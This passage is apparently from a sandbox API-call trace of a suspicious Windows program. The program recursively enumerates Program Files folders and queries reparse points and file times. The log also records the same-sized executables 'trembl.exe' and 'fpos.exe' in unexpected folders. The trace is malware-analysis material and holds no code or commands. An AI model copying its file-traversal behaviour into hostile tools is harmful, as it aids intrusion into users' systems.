nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.859] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3260 [0067.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0710 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3368 [0067.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.860] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0730 [0067.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3470 [0067.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.860] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0067.860] GetLastError () returned 0x12 [0067.860] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d160 [0067.861] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.861] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.861] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0067.861] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0067.861] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0067.861] GetLastError () returned 0x12 [0067.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd3158) returned 1 [0067.861] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0067.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd3260) returned 1 [0067.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd3050) returned 1 [0067.861] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0067.861] GetLastError () returned 0x12 [0067.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd2708) returned 1 [0067.861] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0067.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd2600) returned 1 [0067.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd24f8) returned 1 [0067.861] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0067.861] GetLastError () returned 0x12 [0067.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd57a8) returned 1 [0067.861] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0067.862] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0067.862] GetLastError () returned 0x12 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5610) returned 1 [0067.862] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5588) returned 1 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.862] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 1 [0067.862] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 0 [0067.862] GetLastError () returned 0x12 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0067.862] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0067.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0067.862] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0067.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0067.862] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0067.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0067.863] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0067.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.863] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0067.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.863] NtClose (Handle=0xec) returned 0x0 [0067.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0067.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0067.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0067.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0067.863] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d1a0 [0067.863] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.863] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="")) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25131470, ftCreationTime.dwHighDateTime=0x1d598ce, ftLastAccessTime.dwLowDateTime=0x6309b1d0, ftLastAccessTime.dwHighDateTime=0x1d57f3d, ftLastWriteTime.dwLowDateTime=0x6309b1d0, ftLastWriteTime.dwHighDateTime=0x1d57f3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0067.864] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.864] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.864] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.864] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.864] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.864] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0067.864] GetLastError () returned 0x12 [0067.864] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d220 [0067.864] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.864] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0067.864] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.864] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0067.905] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0067.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.905] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0067.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.905] NtClose (Handle=0xec) returned 0x0 [0067.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5588 [0067.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5610 [0067.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0067.905] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.905] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0067.905] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 1 [0067.905] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 0 [0067.906] GetLastError () returned 0x12 [0067.906] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d260 [0067.906] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0067.906] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.906] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, 